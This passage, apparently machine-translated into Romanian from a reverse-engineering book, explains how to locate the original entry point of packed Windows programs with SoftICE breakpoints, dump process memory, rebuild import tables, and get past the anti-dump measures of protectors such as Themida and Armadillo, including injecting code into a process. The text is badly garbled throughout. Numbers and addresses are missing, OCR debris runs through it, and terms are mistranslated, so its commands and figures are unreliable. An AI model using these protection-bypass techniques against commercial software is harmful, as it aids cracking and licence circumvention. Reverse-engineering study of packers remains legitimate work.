filtrul de excepții structurale (bpm fs: ) Să începem cu funcția GetModuleHandleA, care este prezentă în aproape fiecare cod de pornire (cu excepția unor trucuri de asamblare) Apăsăm scurtătura de la tastatură + pentru a apela SoftICE, dăm comanda bpm GetModuleHandleA x și lansăm aplicația aflată în studiu ("Notepad"), după ce o ambalăm în prealabil cu orice arhivator frumos, cum ar fi ASPack sau UPX Deoarece setarea unui punct de întrerupere este globală, orice program care apelează GetModuleHandleA va apărea depanatorul Priviți cu atenție numele programului afișat de depanator în colțul din dreapta jos (Fig ) Dacă nu este programul „nostru”, apăsați sau + pentru a ieși din depanator În cele din urmă, după o serie de false pozitive, în colț apare linia blocnotesului Când se întâmplă acest lucru, dăm depanatorului o comandă p ret pentru a ieși din funcție și în cod, apelând-o direct Cu toate acestea, nu ne aflăm în nici un caz în vecinătatea punctului de intrare inițial, ci în codul dezambalatorului însuși Pentru a realiza OEP, trebuie să urmăriți mai mult programul O hartă de memorie va ajuta la determinarea locației noastre Dăm comanda mar și vedem ce spune depanatorul (Fig ) Orez Funcția h: CALL [EBP + F Dh] - ACEST este cazul GetModuleHandleA, numit într-un mod atât de complicat Fișierul Notepad exe constă din mai multe secțiuni: text (codul de program sursă comprimat), data (date de program sursă comprimate), rsrc (resurse de program sursă comprimate), aspack (cod de despachetare) și adata (date de despachetare) Secțiunea de cod a programului sursă se termină la i h și tot ce este dedesubt nu-i mai aparține O functie De asemenea, puteți lansa comanda bpx GetModuleHandleA dar în acest caz, SoftICE va injecta un punct de întrerupere a programului CCh la începutul funcției GetModuleHandleA, pe care multe apărări o pot detecta Partea a V-a Săpărea codurilor practice GetModuleHandleA este apelat la i i h, care, după cum puteți determina cu ușurință, aparține secțiunii aspack Astfel, funcția se referă direct la unpacker în sine și nu are nimic de-a face cu OEP (în afară de aceasta, DLL-urile legate static pot apela și GetModuleHandleA) Ieșiți din depanator apăsând + până când apelul la GetModuleHandleA este găsit în secțiunea text Pentru a automatiza sarcina și a evita mai multe apăsări de taste + , puteți seta un punct de întrerupere condiționat în stilul vpm GetModuleHandleA X if (EIP + pentru a nu mai zăbovi aici Următorul pop-up de depanare nu are nici un sens (Listarea - ) i Lista Următorul punct de întrerupere a lovit pe esp- В: А PUSH EUR B: A PUSH EBX B: A PUSH ECX B: А PUSH EDI Ne aflăm într-un teritoriu complet necunoscut Este clar doar că registrul hevr este stocat pe stivă împreună cu alte registre Apăsați + și așteptați în continuare Dar de data asta am avut noroc (lista )! Lista L Trecerea la OER : și eir- B: AZ B: AZb D POP EUR FFE JMP EAX ( h) Registrul hep este scos din stivă, urmat de o tranziție la OEP prin instrucțiunea jmp eax Totul merge bine, doar fals pozitive sunt enervante La urma urmei, doar hackerii experimentați pot spune cu ochi unde este transferat controlul către OEP și unde nu Cu automatizarea în acest sens, este mult mai dificil; un computer nu are intuiție umană Dar deocamdată, doar ne distrăm Nu se vorbește încă despre lupta împotriva protectorilor Să luăm un pachet mai serios FSG de la bart/xt (http://xtreeme prv pl/, http://www wasm ru/baixado php?mode=tool&id= ) și să-l examinăm (Listing ) Lista Un punct de intrare promițător pentru ambalajul FSG В: В XCHG ESP,[ B ] В: А POPAD Â: Â XCHG EAX, ESP В: С PUSH EBP B: D A MOVSB Dezamăgirea începe cu primele comenzi FSG reatribuie registrul fsp și, deși îl restabilește din nou după un timp, acest lucru nu ne aduce prea multă bucurie Sistemul de ambalare este intensiv în stivă, astfel încât punctul de întrerupere bpm esp- aruncă milioane de false pozitive, majoritatea într-o buclă (lista - ) Lista Fragment de cod care generează accesări false ale punctelor de întrerupere В: С Е POP ESI В: С AD LODSD В: СЗ XCHG EAX,EDI Partea a V-a Săpare practică de cod В: С AD LODSD В: С PUSH EAX B: C FF Apelați [EBX+ ] Trebuie să introduceți o condiție suplimentară (din fericire, SoftICE acceptă puncte de întrerupere condiționate!), care vor filtra automat falsele pozitive sau cel puțin unele dintre ele Să ne gândim! Dacă codul de pornire al unui program pachet începe cu un prolog standard, cum ar fi push heb/mov heb, esp, atunci bpm esp- lf *(esp)== EBP breakpoint va elimina grămada de gunoi, dar va funcționa în continuare pe orice prolog standard imbricat cu zero În plus, un program ambalat poate avea un prolog optimizat care nu folosește cazul hep Și iată o altă idee Să presupunem că controlul este transferat la OEP cu push offset oep / retn, atunci adresa de retur va fi în partea de sus a stivei, care din nou este ușor de programat într-un punct de întrerupere condiționat De asemenea, controlul poate fi transferat prin my eax, offset oep/jmp eax Aceste opțiuni sunt ușor de controlat și urmărit, dar împotriva comenzilor „directe” jmp offset OEP sau jmp [OEP] suntem neputincioși În plus, numărul de opțiuni este prea mare, iar enumerarea lor durează mult Fals pozitive sunt inevitabile! Încearcă să te lupți cu FSG La un moment dat se pare că nu există soluție și afacerea noastră este proastă, dar nu este! Faptul este că ambalatorii populari, precum și o parte semnificativă a protectorilor, nedorind să se amestece cu codul programului care se împachetează, sunt plasați într-o secțiune separată (sau nu o secțiune), plasate fie înaintea programului care este ambalat sau dupa ea! Astfel, codul de ambalare este concentrat într-un loc anume (mai multe locuri) și nu se intersectează niciodată cu codul programului dezambalat! Pare a fi un fapt evident De câte ori l-am trecut fără să ne gândim că vă permite să automatizați complet procesul de căutare a OEP! Să ne uităm din nou la harta memoriei (lista ) Lista Două secțiuni ale unui program pachet MAR NOTEPAD-fsg B: COD RW NOTEPAD-fsg B: COD RW Vedem două secțiuni aparținând programului pachet Este imposibil de înțeles care dintre ele este secțiunea de cod și care este secțiunea de date la prima vedere, mai ales că ar trebui să mai existe o secțiune - secțiunea de resurse Cu toate acestea, ambalatorul insidios le-a combinat cumva unul cu celălalt, cu toate acestea, codul ambalatorului în sine, așa cum am văzut deja, este concentrat în spațiul ]xxh și nu a creat o secțiune separată pentru el însuși Pentru a elimina barbotarea inutilă a depanatorului, ne vom concentra pe gama de adrese aparținând programului pachet, adică de la începutul primei secțiuni până la sfârșitul ultimei, monitorizând automat valoarea registrului ep pe fiecare punct de întrerupere lovit În acest caz, arată ca Lista Lista L Secvența „magică” care ne conduce la OEP bpm esp- dacă eip > x && eip pentru a comuta în modul hex, apoi (antet) și (mergi la punctul de intrare al fișierului - Entry Pomt, EP ) Ne amintim conținutul octetului de sub cursor (cel mai bine este să-l notăm doar pe hârtie), intrăm în modul de editare apăsând și introduceți ss Salvați modificările apăsând și ieșiți Depanatorul SoftICE trebuie să fie pre-setat pentru a pluti pe int oz (iznee la comandă) Rulăm programul fără să folosim încărcătoare și intrăm în SoftICE, care cu siguranță trebuie să apară, altfel ceva nu este în regulă aici Acum trebuie să returnați octetul corectat la locul său Se face așa Lansăm comanda wd pentru a afișa fereastra dump (cu excepția cazului în care este deja afișată pe ecran), apoi comanda db pentru a o afișa octet cu octet (pentru începători, acest lucru este mai convenabil) și, în final, introducem comanda d ep- Valoarea eip trebuie să fie micșorată cu unu deoarece SoftICE se oprește după cch, incrementând eip cu unu Acum dăm comanda e și edităm dump-ul în mod interactiv, schimbând ss la valoarea scrisă anterior Rămâne doar să ajustați registrul eір Aceasta se face astfel: r eir = eir - Gata! Comanda (punct) reîmprospătează fereastra dezasamblatorului, schimbă A nu se confunda cu OEP, pe care încă nu îl găsim Partea a V-a Săpare practică de cod aducându-ne la poziția actuală Acum puteți depana programul Încet? Incomod? O grămadă de operațiuni suplimentare? Ei bine, operațiunile sunt un rău și mai mic, pentru că sunt de același tip și puteți crea macrocomenzi pentru ele Mult mai rău, unii packer/protectori controlează integritatea fișierului, refuzând să ruleze dacă acesta este modificat Cum să fii atunci? Iată a doua cale, mult mai convenabilă și elegantă Încărcați programul (nepattchat) în HIEW și comutați în modul hex Apoi apăsați tasta și calculați adresa punctului de intrare adăugând Entrypoint rva (în cazul nostru h) cu imaginea de bază (în cazul nostru îooooooh) Rezultatul este valoarea îicooih Dacă numărați lenea, puteți apăsa pur și simplu tasta pentru ca H EW să ne ducă la punctul de intrare, dându-i adresa OK, adresa punctului de intrare a fost primită Apelăm SoftICE apăsând combinația de tastatură + și setăm un punct de întrerupere pentru orice funcție API pe care programul nostru o apelează la un moment dat Poate fi atât GetModuleHandleA (bpx GetModuleHandleA) cât și CreateFileA - nu contează! Ieșiți din SoftICE și rulați programul nostru Apare depanatorul După ce ne asigurăm că colțul din dreapta jos reflectă numele procesului nostru (dacă nu, ieșim din SoftICE și așteptăm următorul barbotare), setăm un punct de întrerupere hardware pe ep prin lansarea comenzii bpx x x, unde x este adresa punctul de intrare în fișierul PE Ieșiți din SoftICE și reporniți programul Rețineți că SoftICE își amintește punctele de referință în contextul unui program dat și nu le șterge nici după ce programul se termină La reporniri repetate (și toate ulterioare), SoftICE se va opri cu ascultare la ep Ei bine, nu este grozav?! Notă Bibliotecile dinamice care sunt legate static de program preiau controlul înainte de punctul de intrare Acest lucru permite protecțiilor să întreprindă o anumită acțiune înainte chiar de a începe depanarea Prin urmare, dacă ceva nu merge bine, verificați mai întâi codul conținut în funcțiile D și toate bibliotecile dinamice Așa că am învățat să găsim OER Singurul lucru rămas este să aruncați descărcarea programului pe disc Dar nu este atât de simplu pe cât ar părea la început și mulți ambalatori/protectori rezistă în toate modurile posibile În secțiunea următoare, vom arăta cum să implementăm un dumper generic capabil să despacheteze nu numai fișierele executabile, ci și DLL-urile Printre altele, dumper-ul propus ocolește un mecanism avansat de criptare dinamică cunoscut sub numele de CoreMetii, în care întregul program este criptat și paginile individuale de memorie sunt decriptate chiar înainte de a fi utilizate și apoi criptate din nou În cele din urmă, vom aborda și problemele restabilirii tabelului de import Tehnica de descărcare a aplicațiilor protejate În secțiunea anterioară a acestui capitol, am trecut prin dispozitivul de despachetare, ajungând la punctul de intrare inițial, iar acum, pentru a învinge în sfârșit apărarea, trebuie să înlăturăm depozitul Există multe utilități concepute în acest scop, dar gunoiul rezultat este departe de a funcționa întotdeauna Ce altceva? Să încercăm să ne dăm seama! Protectori precum Themida (fostul eXtreme Protector) și Star-Force, care protejează multe programe populare, mușcă foarte adânc în sistemul de operare, ceea ce reduce performanța și generează BSOD-uri frecvente Alți protectori nu se comportă la fel de agresiv, dar există încă destule probleme de compatibilitate, mai ales la trecerea la sisteme de operare pe de biți sau procesoare multi-core, care sunt semnificativ diferite de cele pentru care a fost concepută protecția, folosind activ funcții nedocumentate De câte ori au spus lumii - nu folosi nimic nedocumentat Adevărat, această tehnică nu funcționează pe unele fișiere protejate cu o structură de antet distorsionată Capitolul în aplicații comerciale, dar bcș nu pentru viitor! Așa că trebuie să asumi instrumente de hacker și să scapi de protectori, chiar și atunci când programul este cumpărat legal și nu este nevoie să-l „spărgi” Dar trebuie! Ce ciudată este lumea Cazuri simple de dumping Imaginați-vă că dispozitivul de despachetare a funcționat deja, suntem la punctul de intrare inițial (OEP) și suntem gata să salvam depozitul Depanatorul SoftICE nu oferă această opțiune, așa că trebuie să o rezolvi Dar mai întâi trebuie să vă dați seama ce interval de adrese ar trebui salvat Cu condiția ca apărarea să nu întreprindă nicio acțiune ostilă, informațiile necesare pot fi obținute prin comenzile mod și mar (Figura și Listarea ) I EAX=ѲѲ Е EBX= FFDF I EDI = EBP= FFC CS= B DS= SS= B: B: B: B: ESI=OOOOOOOO ECX= B EDX= ESP= FF EIP= ES= FS= GS=OOOO octet E - C - BE -E B B F FF ' E B E BE -C B C F E B C PROT -(•)-hO'e S V EEES-uh'e uusK ,i îl , a ■PR T - Apelați POP ECX B: B: B B: C B: D B: E B: F B: B: B: (PASIUNE)-KTEB( E )-TID( B )-test dump! text+ - NOP NOP NOP PUSH PUSH HOU EVH E I, - hHod Base PEHeader Hodule Name test dump :MAP test dump Owner Obj Name test dump date Obj# abordare B: : : - HF E DE Tip COD IDATA R IDATA RU R Orez Determinarea regiunii de memorie pentru dumping :M D test-dump # determină adresa de bază a încărcării modulului în memorie hMod Base PEHeader Modulul Nume Nume fișier D test dum\TEMP\test dump exe :MAP test dump # uita-te la harta modulului din memorie Owner Obj Nume Obj# Adresă Mărime Tip test dump text B: B COD RO test dump rdata : E IDATA RO test dump data : DE IDATA RW Să ne uităm la listarea mai detaliat Aici test dunț) este numele procesului de la care noi vom face un dump (SoftICE îl afișează în colțul din dreapta jos al ecranului) Adresa de încărcare de bază (hMod de bază) este situată la h Începe ultima secțiune ( data) Partea a V-a Săpărea codurilor practice de la adresa h și continuă până la adresa h+iDE h) == DE h Astfel, trebuie să economisim DE h octeți de memorie, începând de la oooo Dar nu există o astfel de comandă în SoftICE! Dar există un istoric al comenzilor (historial comenzilor) Pentru a-l folosi eficient, este recomandat să măriți mai întâi dimensiunea istoricului comenzilor la cel puțin MB Pentru a face acest lucru, selectați din meniu comenzile Editare | Setarea de inițializare a gheții SoftICE | dimensiunea tamponului istoric Dăm comanda db l DE , ieșim din depanator, pornim încărcătorul Symbol și dăm comanda File | Salvați istoricul SoftICE ca Rezultatul este un fișier text (Listing - ), care trebuie convertit într-un fișier executabil, care necesită scrierea unui utilitar special sau căutarea unuia gata făcut Istorie : Evacuarea memoriei prin istoricul comenzilor :db L DE : D A : B : E F BA E : : : D F - FF - B CD- B C CD F - D Е- Е E D D ОА- FF MZP @ ! ,L !Th E E F este programul nu F să fie rulat în DOS modul $ Alternativ, puteți utiliza pluginul gratuit IceExt (http://stenri pisem net/), care extinde foarte mult funcționalitatea SoftICE Dacă IceExt refuză să pornească, măriți dimensiunea heap-ului și a stivei la h de octeți prin editarea următoarei chei de registry HKLM\SYSTEM\CurrentControlSet\Services\NTice Comanda idump (Figura - și Lista - ) vă permite să salvați blocuri de memorie pe disc în formă binară, ceea ce este foarte convenabil EAX= E EBX= FFDF ECX= B EDX= ESI= EDI=OOOOOOOO EBP= FFC ESP= FF EIP= od I sz a P s CS= B DS= SS= ES= FS= GS=OOOO -test dump -byte - -PROT -(")— : A - FF FF MZE : B * @ T : * X : - DO - rrptz?- CALL POP RET NOP NOP NOP PUSH PUSH MOU ECX B: B: B B: C B: D B: E B: F B: B: В: (PASIUNE) *KTEB( EB Ѳ) *TID( )-test dumpl textn :IDUMP EBX ESI ESI, Dump memory to disk dump FileName Addr Len Ex: Idump c:\dump dat ѲѲѲѲ Idump \??\c:\dump dat Idump \??\c:\dump dat edx+ebx ecx :IDUMP C:\dumped DE DUMP: \??\C:\dumped de fHSWîMO? Orez Dumping în SoftICE utilizând pluginul IceExt Capitolul Lupta cu ambalatorii ■isting Evacuarea memoriei efectuată de comanda DUMP a pluginului IceExt :!DUPĂ Turnați memoria pe disc idump FileName Adr Len ex: idump c:\dump dat idump \??\c:\dump dat idump \??\c:\dump dat edx+ebx ecx :!DUMP C:\dumped DE Un alt plugin - Icedump (http://programmerstools org/system/files?file=icedump zip) poate salva și depozitele de memorie La fel ca IceExt, Icedump este distribuit gratuit împreună cu codul sursă Dump-ul rezultat poate fi încărcat în dezasamblatorul IDA Pro, dar este mai bine să vă abțineți de la rularea acestuia, deoarece pentru o funcționare corectă este necesară restaurarea tabelului de import și a resurselor Restaurarea tabelului de import și resurse este un subiect extrem de larg care merită o discuție separată Nu o vom lua în considerare în detaliu, ci pur și simplu observăm că unul dintre utilitățile gata făcute poate fi utilizat în acest scop: Import Reconstructor (http://www wasm ru/baixado php?mode=tool&id= ) va restabiliți importul și Resource Rebuilder (http://www wasm ru/baixado php?mode=tool&id= ) - resurse Pentru depanatorul OllyDbg, există pluginul OllyDump (http://dd x-eye net/file/ollydump zip) cu un reconstructor de tabel de import încorporat (Fig ) Orez Eliminarea unui dump din OllyDbg folosind pluginul OllyDump Partea a V-a Săpărea codurilor practice În cele din urmă, puteți utiliza amortizorul de sine stătător Primul (și cel mai puțin reușit) basculant autonom care a apărut a fost ProcDump, apoi a apărut utilitarul Lord PE, ținând cont de experiența amară a predecesorului său și capabil să salveze un dump chiar și în cazurile în care antetul PE este corupt în mod deliberat de protecție și accesul la unele pagini de memorie nu este disponibil (atributul page noaccess) Coroana evoluției a fost amortizorul PE Tools (Fig ), cu care vom lucra Kitul de distribuție de bază poate fi găsit pe aproape orice server hacker, de exemplu, pe WASM (http://www wasm ru/baixado php?mode=tool&id= ) sau pe CrackLab (http://www cracklab) ru/ downIoad php?action=get&n=MTUl), iar cele mai recente actualizări sunt pe site-ul proiectului „nativ”: http://petools org ru/petools shtml Orez Instrumente PE Dacă lucrăm cu un depanator la nivel de aplicație (de exemplu, OllyDbg) și suntem în OEP, atunci descărcarea programului este foarte simplă Este suficient să comutați la PE Tools, să selectați procesul dorit din listă și să dați comanda Dump Full Cu toate acestea, cu depanatoarele la nivel de kernel (SoftICE, Microsoft Kernel Debugger), acest lucru nu se poate face și, prin urmare, trebuie să fii complicat Ne amintim (cel mai bine, notează-l pe hârtie) primii doi octeți, numărând de la începutul OEP, și scriem EBFEh în locul lor, care corespunde instrucțiunii mașinii jmp short $ - , repetând procesul Acum puteți ieși în siguranță din depanator, mergeți la PE Tools, descărcați și apoi restaurați octeții originali în orice editor anterior Ambalatorii obișnuiți (de exemplu, UPX) nu rezistă la dumping, deoarece lupta împotriva hackerilor nu face parte din sarcina lor Un alt lucru sunt protectorii De fapt, aceștia sunt aceleași ambalatori, dar echipați cu un întreg arsenal de mecanisme anti-hacking Tehnicile de protecție pot fi împărțite în active și pasive Cele pasive le includ pe toate cele care funcționează doar în etapa de despachetare și nu interferează nici cu funcționarea programului în sine, nici cu funcționarea sistemului de operare Protecțiile active interceptează funcțiile API în spațiul de adrese Capitolul protejat sau chiar instalați un driver special care modifică nucleul sistemului de operare în așa fel încât descărcarea directă să devină imposibilă Un efect secundar evident al protecțiilor active este inconsecvența acestora cu noile versiuni de Windows, ceea ce duce adesea la blocarea sistemului de operare Cel mai trist lucru este că, la lansarea programului Setup exe, utilizatorii nici măcar nu bănuiesc ce fel de creatură se poate cuibărește acolo, mai ales că nu toți protectorii acceptă dezinstalarea corectă În căutarea mea Dumpingul începe cu determinarea regiunii de memorie care aparține fișierului executabil (sau bibliotecii dinamice) Tehnicile descrise mai devreme se bazează în întregime pe antetul PE și tabelul de secțiuni, care este folosit de sistemul de operare aproape exclusiv în etapa de încărcare a unui fișier În special, ne interesează câmpurile imageBase (adresa de încărcare de bază), sizeOflmage (dimensiunea imaginii) și conținutul tabelului de secțiuni Protectorilor le place să suprascrie aceste câmpuri după ce despachetarea este completă sau să le completeze cu valori intenționat incorecte Dumperele de prima generație au înnebunit pentru asta, dar PE Tools în majoritatea cazurilor restaurează singur informațiile lipsă Cu toate acestea, există situații în care nici măcar PE Tools nu poate face față sarcinii sale Ce să faci în astfel de cazuri? Cel mai simplu lucru este să studiezi harta de memorie a procesului studiat, returnată de funcțiile API virtualQuery/virtualQueryEx Regiunile marcate ca mem image aparțin executabilului sau unuia dintre DLL-urile pe care le utilizează În PE Tools, comanda Dump Region este responsabilă pentru construirea unei hărți de memorie (Fig ) Orez Vizualizarea unei hărți de memorie în PE Tools Protecțiile active pot intercepta aceste funcții, transmițându-le date false, iar apoi trebuie să mergeți la un nivel adânc, referindu-vă la funcția NtQueryVirtualMemory, care, după cum sugerează și numele, există doar în sistemele de operare asemănătoare NT și este exportată de NTDLL Bibliotecă DLL Cu toate acestea, în unele cazuri, AND este interceptat, forțându-ne să ne referim la funcția nedocumentată NtQuerySystemInformation Multă vreme, a rămas complet nedocumentat, iar mulți protectori nici măcar nu bănuiau existența unei astfel de lacune Acum descrierea acesteia este disponibilă pe MSDN: http://msdn microsol't com/en-us/library/ms aspx, cu un avertisment formidabil că comportamentul funcției se poate modifica în orice versiune nouă și, prin urmare, în produsele pe termen lung, este mai bine să nu vă bazați pe el Partea a V-a Săpărea codurilor practice Ca ultimă soluție (dacă și informațiile NtQuerySystem sunt interceptate), trebuie să recurgeți la analiza manuală a structurilor de date legate de memoria procesului (SoftICE face exact asta) Cu toate acestea, este mult mai ușor și mai fiabil să copiați pur și simplu fragmentul dorit din spațiul de adrese Dacă imaginea nu a fost mutată, atunci adresa de încărcare de bază va fi aceeași ca în antetul PE al fișierului exe Când se lucrează cu o imagine relocată, adresa de bază trebuie determinată manual prin căutarea semnăturilor pe și mz, trecând în sus de la OEP (adică spre adrese inferioare) Din fericire pentru noi, protecția nu poate suprascrie complet antetul PE, pentru că atunci unele funcții API care interacționează cu resursele etc , nu vor mai funcționa Dacă niciuna dintre modalitățile de a determina limitele imaginii nu eșuează, trebuie să aruncați fragmente din spațiul de adrese, încărcându-le în IDA Pro ca fișiere binare, desigur, păstrând adresa de pornire a fragmentului În cele mai multe cazuri, acest lucru este suficient pentru a analiza funcționarea mecanismului de protecție, mai ales că IDA Pro vă permite să încărcați fragmentele lipsă din mers Găzduiește din afară Înainte de a citi spațiul de adrese al unui proces străin, acesta nu a fost încă atins Windows izolează procesele unul de celălalt în cazul unei lovituri neintenționate de memorie (care a fost o supărare majoră pentru utilizatorii Windows x), dar oferă un set special de funcții API pentru comunicarea între procese Modul clasic: obținem handle-ul de proces, al cărui dump îl vom salva, apelând OpenProcess și trecându-l la funcția ReadProcessMemory împreună cu restul parametrilor (indicând câți octeți și de unde trebuie citiți) În același timp, trebuie avut în vedere faptul că unele pagini pot fi marcate ca inaccesibile de către protecție, iar înainte de a le accesa este necesar să apelați funcția virtualProtectEx, permițând accesul complet (page execute readwrite) sau, cel puțin, deschiderea paginilor numai pentru citire (page readonly) Desigur, funcțiile OpenProcess / ReadProcessMemory / VirtualProtectEx pot fi interceptate prin protecție, iar apoi în loc de un dump vom primi o eroare de sistem, sau chiar doar un ecran albastru Funcțiile de nivel scăzut NtOpenProcess/NtReadVirtualMemory/NtProtectVirtualMemory sunt interceptate cu aceeași ușurință și, în plus, unele protecții modifică jetonul de securitate al unui proces, împiedicând chiar și un administrator să-și deschidă memoria pentru citire! Eliminarea la nivel de kernel este considerată o oportunitate excelentă pentru hacking și este imposibil să contracarați acest lucru, deoarece driverul rulează cu cel mai înalt nivel de privilegii, ceea ce vă permite să faceți absolut totul De fapt, războiul șoferilor pentru kernel abia începe Nu veți ajunge departe cu un procesor „gol”, iar driverul dumperului trebuie să apeleze funcțiile de service ale nucleului Mai mult, nu există funcții documentate pentru citirea memoriei unui alt proces (cu excepția celor tocmai menționate) în sistem! Pentru a citi memoria unui proces direct, driverul trebuie să se atașeze la acesta apelând funcția KeAttachProcess sau omologul său modern KeStackAttachProcess, care a apărut și a fost documentat pentru prima dată în Windows Ambele funcții trebuie utilizate cu cea mai mare atenție și înainte de atașarea la alt proces, trebuie să vă detașați de cel curent, apelând KeDetachProcess/KeStackDeattachProcess Cu toate acestea, aceste funcții pot fi interceptate de protecție cu toate consecințele care decurg (protectorul Themida face exact asta) Este important de reținut că nu există metode universale de interceptare - protectorul poate modifica tabelul de export, poate injecta propriile instrucțiuni jmp la începutul sau chiar la mijlocul funcțiilor de serviciu kernel etc Aceasta înseamnă că nu vă puteți baza pe kernel și avem doar două opțiuni: folosiți acele funcții pe care protecția nu le-a ghicit să le intercepteze sau comutați manual spațiile de adrese Un plugin special pentru PE Tools (http://petools org ru/petools shtml/eXtremeDumper zip, http://www wasm ru/pub/ /files/dumping/eXtremeDumper rar) își face drum la proces prin Capitolul Lupta cu ambalatorii următorul lanț de servicii APELE PsLookupProcessByProcessId -► ObOpenObjeccByPoinCer ► obDereferenceObjecc pe care nimeni nu l-a interceptat încă, ceea ce face posibilă descărcarea chiar și a programelor foarte protejate Cu toate acestea, este dificil de spus cât de mult poate rezista această metodă Creatorii de protectori nu stau cu mâinile în sân și vizitează, de asemenea, forumuri de hackeri Pe termen lung, cel mai bine este să folosiți funcția KiSwapProcess nedocumentată (și, de asemenea, neexportabilă!), a cărei adresă se schimbă de la sistem la sistem, ceea ce face dificilă interceptarea În același timp, un dumper îl poate detecta cu ușurință folosind simboluri de depanare distribuite gratuit de Microsoft Pentru a lucra cu ele, aveți nevoie de biblioteca dbghelp dll din setul Instrumente de depanare (http://www microsoft com/whdc/devtools/debugging/defauit mspx) și de utilitarul symchk exe, preluat de acolo Funcția KiSwapProcess este una dintre funcțiile de cel mai jos nivel care lucrează direct cu registrul cs, în care este introdus un pointer către directorul de pagină al procesului selectat, după care spațiul său de adrese poate fi citit ca fiind propriu de către instrucțiunea mașinii movsd , care este aproximativ analog cu memcpy Anticipând acest rezultat, unele apărări au făcut un pas disperat: interceptând swapcont-exc și o serie de alte funcții care funcționează cu siz, au început să distrugă directorul paginii al procesului „lor” în timpul comutării contextului și să-l restabilească din nou când devine necesar Barbarie! Accesul la directorul paginii vine de la zeci de funcții nedocumentate care sunt implementate diferit în fiecare versiune a nucleului Și asta înseamnă că o astfel de politică de protecție agresivă riscă să ducă la BSOD continue care nu lasă utilizatorului nicio șansă pentru munca normală! Dar nici asta nu este cel mai rău Tot mai mulți protectori trec la decompresie dinamică, decriptând paginile pe măsură ce sunt accesate și apoi criptându-le din nou Chiar dacă depășim protecția și ajungem la proces, nu va mai fi nimic de salvat în groapă Mai exact, dump-ul rezultat va fi criptat în proporție de aproape % Mecanisme dinamice de decriptare Algoritmul de decriptare dinamică implementat în protectorul Armadillo și cunoscut sub numele de sorumet, în termeni generali, arată astfel: protecția generează un proces de depanare, trecând argumentul zero de linie de comandă funcției creaceProcess ca nume „Mulțumesc” pentru aceasta, două copii ale programului care rulează sunt afișate în managerul de activități Unul dintre ei este un server (condițional), celălalt este un client Serverul, folosind funcția vircaalProceccEx, face toate paginile clientului inaccesibile (atributul page noaccess) și îi transferă controlul, așteptând evenimentele de depanare folosind funcția WaitForDebugEvent Evenimentele nu întârzie să apară, iar la prima încercare de a executa cod într-o pagină inaccesibilă, se ridică o excepție, transferând frâiele puterii către server Serverul decriptează pagina curentă, interacționând cu clientul prin intermediul funcțiilor API ReadProcessMemory/writeProcessMemory, setează atributele de acces necesare și returnează controlul clientului Paginile rămase rămân criptate, iar atunci când sunt accesate, se ridică din nou o excepție, care este transmisă serverului prin Wa^tForDedugEvent Serverul criptează pagina anterioară, eliminând toate atributele de acces pe care le are și decriptează pagina curentă care a aruncat excepția În practică, pentru a îmbunătăți performanța, protecția menține un cache primitiv, permițând clientului să aibă mai multe pagini decriptate în același timp Necesitatea unui proces de depanare a serverului se explică prin faptul că pur și simplu nu există o altă modalitate de a captura excepții la nivel de aplicație Dar cum rămâne cu mecanismul de excepție structurat (SEH)? Ne înregistrăm propriul handler și prindem excepții, după cum se spune, la locul apariției Acest lucru ne scutește de apelurile API care oferă comunicare între procese, care sunt pur și simplu interceptate de un hacker Vai! Dacă aplicația protejată folosește mecanismul SEH (și marea majoritate a aplicațiilor îl folosesc), sistemul nostru Partea a V-a Săpărea codurilor practice handler va fi acoperit de altul Confruntat cu excepția „noastre”, pur și simplu nu va ști ce să facă cu ea și, cu o probabilitate apropiată de una, pur și simplu va închide aplicația în modul de urgență Teoretic, instalarea unui nou handler poate fi urmărită cu ușurință prin setarea unui punct de întrerupere hardware de acces la memorie la FS:[OOOOOOOOh] Sistemele de operare ale familiei Windows NT permit programelor de aplicație să manipuleze registrele de depanare prin context, iar registrul de depanare acționează numai în cadrul procesului „sau”, fără a interfera cu munca tuturor celorlalți Dar Windows x „uită” să salveze registrele de depanare în contextul procesului „sau” și acestea devin globale, afectând toate procesele! Deci, în Windows x, acest truc nu funcționează Și iată o altă modalitate: instalăm un driver care prinde excepții la nivel IDT și interacționează cu procesul său fie prin DeviceloControl, fie prin NtReadVirtualMemory/NtWri teVirtualMemory/KeDeattachProcess/KeAttachProcess Această ABORDARE este destul de fiabilă, cu toate acestea, scrierea driverelor este o sarcină laborioasă În plus, driverele care funcționează incorect provoacă adesea BSOD În cele din urmă, dezvoltatorul de securitate va trebui fie să refuze categoric suportul pentru Windows x (care este încă în viață!), fie să implementeze două drivere deodată! Cu toate acestea, protecții de acest tip există încă Indiferent de modul în care este tratată excepția, este foarte ușor să spargi o astfel de protecție! Citim prima pagină, așteptăm finalizarea decriptării, o salvăm pe disc, trecem la pagina următoare și acționăm în acest fel până când întreaga imagine este în mâinile noastre Trebuie doar să injectați codul dumperului în spațiul de adrese al unui proces protejat și va fi foarte dificil pentru protector să facă distincția între apelurile programului în sine și apelurile dumperului Versiunile recente ale protectorului Armadillo, recent redenumit Software Passport, implementează un mecanism de decriptare a urmelor mult mai sigur, deși cu performanță extrem de scăzută, care criptează tot codul programului Serverul urmărește clientul, decriptând câte o instrucțiune (instrucțiunea anterioară este criptată) Nu mai este posibilă eliminarea unui dump prin acces mecanic la memorie, deoarece protecția este interesată doar de excepțiile care apar în timpul execuției Tot ce putem face în acest caz este să ne „căsătorim” între aplicația criptată și decriptor, „colectând” instrucțiunile decriptate care formează traseul fluxului de execuție Deoarece este aproape imposibil să se obțină o acoperire de cod de %, descărcarea rezultată va fi incompletă În ciuda acestui fapt, există o mică nuanță Decriptarea instrucțiuni prin comandă nu poate folosi nici algoritmi de criptare bloc sau sensibili la context, deoarece decriptorul de urmărire nu știe niciodată dinainte ce instrucțiune va fi executată următoare Ceea ce au rămas sunt algoritmi de streaming precum xor sau RC , care sunt foarte ușor de descifrat Pentru a face acest lucru, trebuie doar să găsiți o gamă pe care protectorul, în ciuda oricăror eforturi, încă nu o poate ascunde prea adânc! Desigur, în acest caz nu va mai fi posibilă automatizarea completă a procesului de descărcare și va trebui să recurgeți la dezasamblare și poate chiar la depanare Din fericire, astfel de scheme de protecție nu s-au răspândit și este puțin probabil să devină așa în viitorul apropiat Urmărirea încetinește viteza aplicației de zeci de ori, drept urmare devine necompetitivă Pune din interior Dumpingul prin mecanismele de comunicare între procese este ieri Pentru a combate apărarea activă, hackerii injectează codul dumper direct în procesul investigat, ceea ce face posibilă ocolirea atât a interceptării funcțiilor API, cât și a înfrângerii criptării dinamice a software-ului SoruMet Metoda clasică de injectare a codului este implementată astfel: deschideți procesul cu funcția OpenProcess, alocați un bloc de memorie cu apelul VirtualAllocEx, copiați codul dumperului cu funcția WriteProcessMemory și apoi fie creați un fir la distanță 